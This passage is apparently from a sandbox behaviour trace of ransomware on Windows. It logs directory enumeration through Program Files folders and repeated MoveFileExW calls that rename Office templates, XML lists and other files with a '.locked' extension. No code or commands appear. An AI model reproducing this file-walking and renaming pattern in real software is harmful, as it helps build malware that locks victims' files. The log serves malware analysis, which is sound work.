(lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.locked"), dwFlags=0x2) returned 1 [0062.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx.locked"), dwFlags=0x2) returned 1 [0062.614] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx.locked"), dwFlags=0x2) returned 1 [0062.616] GetFileType (hFile=0xc4) returned 0x1 [0062.617] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc84d7020, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc84d7020, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0062.627] GetFileType (hFile=0xd4) returned 0x1 [0062.628] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc84fd180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc84fd180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0062.629] GetFileType (hFile=0xd8) returned 0x1 [0062.629] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc84fd180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc84fd180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0062.633] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc84fd180, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc84fd180, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0062.669] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx.locked"), dwFlags=0x2) returned 1 [0062.924] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx.locked"), dwFlags=0x2) returned 1 [0063.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx.locked"), dwFlags=0x2) returned 1 [0063.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx.locked"), dwFlags=0x2) returned 1 [0063.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx.locked"), dwFlags=0x2) returned 1 [0063.594] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx.locked"), dwFlags=0x2) returned 1 [0064.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx.locked"), dwFlags=0x2) returned 1 [0064.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.locked"), dwFlags=0x2) returned 1 [0064.871] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx.locked" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx.locked"), dwFlags=0x2) returned 1 [0064.872] GetFileType (hFile=0xc8) returned 0x1 [0064.873] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a69780, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a69780, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0064.874] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif.locked" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif.locked"), dwFlags=0x2) returned 1 [0064.885] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a8f8e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a8f8e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0064.888] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a8f8e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a8f8e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0064.889] GetFileType (hFile=0xc8) returned 0x1 [0064.890] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a8f8e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a8f8e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0064.891] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a8f8e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a8f8e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0064.893] GetFileType (hFile=0x120) returned 0x1 [0064.893] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9a8f8e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9a8f8e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0064.895] GetFileType (hFile=0xc8) returned 0x1 [0064.896] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9ab5a40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ab5a40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0064.897] GetFileType (hFile=0xc4) returned 0x1 [0064.898] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9ab5a40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ab5a40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0064.898] GetFileType (hFile=0xd4) returned 0x1 [0064.899] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9ab5a40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ab5a40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), lpNewFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf.locked" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf.locked"), dwFlags=0x2) returned 1 [0065.010] GetFileType (hFile=0xc8) returned 0x1 [0065.011] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9bc03e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9bc03e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.014] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9bc03e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9bc03e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.016] GetFileType (hFile=0xd4) returned 0x1 [0065.016] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9bc03e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9bc03e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.017] GetFileType (hFile=0xd8) returned 0x1 [0065.018] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9bc03e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9bc03e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0065.021] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.021] GetFileType (hFile=0x120) returned 0x1 [0065.022] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.026] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.026] GetFileType (hFile=0x108) returned 0x1 [0065.027] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.029] GetFileType (hFile=0x120) returned 0x1 [0065.029] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.030] GetFileType (hFile=0xc8) returned 0x1 [0065.031] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.034] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9be6540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9be6540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.038] GetFileType (hFile=0xc4) returned 0x1 [0065.039] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.039] GetFileType (hFile=0x108) returned 0x1 [0065.040] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.041] GetFileType (hFile=0x120) returned 0x1 [0065.041] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.042] GetFileType (hFile=0xc8) returned 0x1 [0065.043] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.046] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.046] GetFileType (hFile=0xd4) returned 0x1 [0065.047] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c0c6a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c0c6a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.059] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.locked" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.locked"), dwFlags=0x2) returned 1 [0065.064] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.locked" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.locked"), dwFlags=0x2) returned 1 [0065.067] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", 